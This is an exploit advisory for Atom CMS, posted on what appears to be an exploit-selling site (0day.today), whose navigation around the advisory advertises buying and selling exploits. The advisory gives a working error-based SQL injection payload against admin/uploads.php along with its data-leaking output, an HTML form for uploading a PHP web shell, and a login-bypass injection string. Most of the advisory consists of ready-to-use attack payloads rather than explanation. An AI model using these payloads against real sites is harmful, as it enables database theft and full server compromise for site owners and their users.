0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Atom CMS Shell Upload / SQL Injection / Bypass Vulnerabilities
[##################################################################################################
#Exploit Title : Atom CMS SQL Injection and file upload vulnerability
#Author : Jagriti Sahu
#Vendor : https://github.com/thedigicraft/Atom.CMS
#Date : 07/07/2014
#Discovered at : IndiShell Lab
#Love to : Surbhi, Mradula and Harry
##################################################################################################
////////////////////////
/// Overview:
////////////////////////
Atom CMS suffers from remote SQL injection and php shell
uploadvulnerability.
both vulnerabilities are of high risk, SQL injection will expose data
stored in database whereas unrestricted file upload will cause php shell
on server
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to /admin/uploads.php file in which there is no
check who is accessing it(this file is only for admin user but a guest
user can also access it)
parameter $_GET[ 'id' ] is not getting filtered before supplying its
data to sql queries which arising sql injection exploit
and avatar image upload code is not checking whether file is an image
or other kind of file which leads to php shell upload
///////////////////////
/// exploit code ////
///////////////////////
SQL injection exploitation
==========================
http://127.0.0.1/acms/admin/uploads.php?id=1 and(select 1 FROM(select
count(*),concat((select (select concat(database())) FROM
information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM
information_schema.tables GROUP BY x)a)
in result you will get database name in last line of the message on the
page
UPDATE users SET avatar = '1404709440490.' WHERE id = 1 and(select 1
FROM(select count(*),concat((select (select concat(database())) FROM
information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM
information_schema.tables GROUP BY x)a)
Duplicate entry 'acms1' for key 'group_key'
File upload exploitation
==========================
<form action="http://127.0.0.1/atom_cms/admin/uploads.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="exploit">
</form>
save this code on your machine as exploit.html
open it with web browser
brows your shell and click "exploit" button
shell will be under directory
http://127.0.0.1/atom_cms/uploads/
---------Bypass Authentication SQL Injection--------------
Vulnerable Code: $q = "SELECT * FROM users WHERE email = '$_POST[email]' AND password = SHA1('$_POST[password]')";
Username: ' OR 1 = 1 --
Password: whatever you want
# 0day.today [2024-12-25] #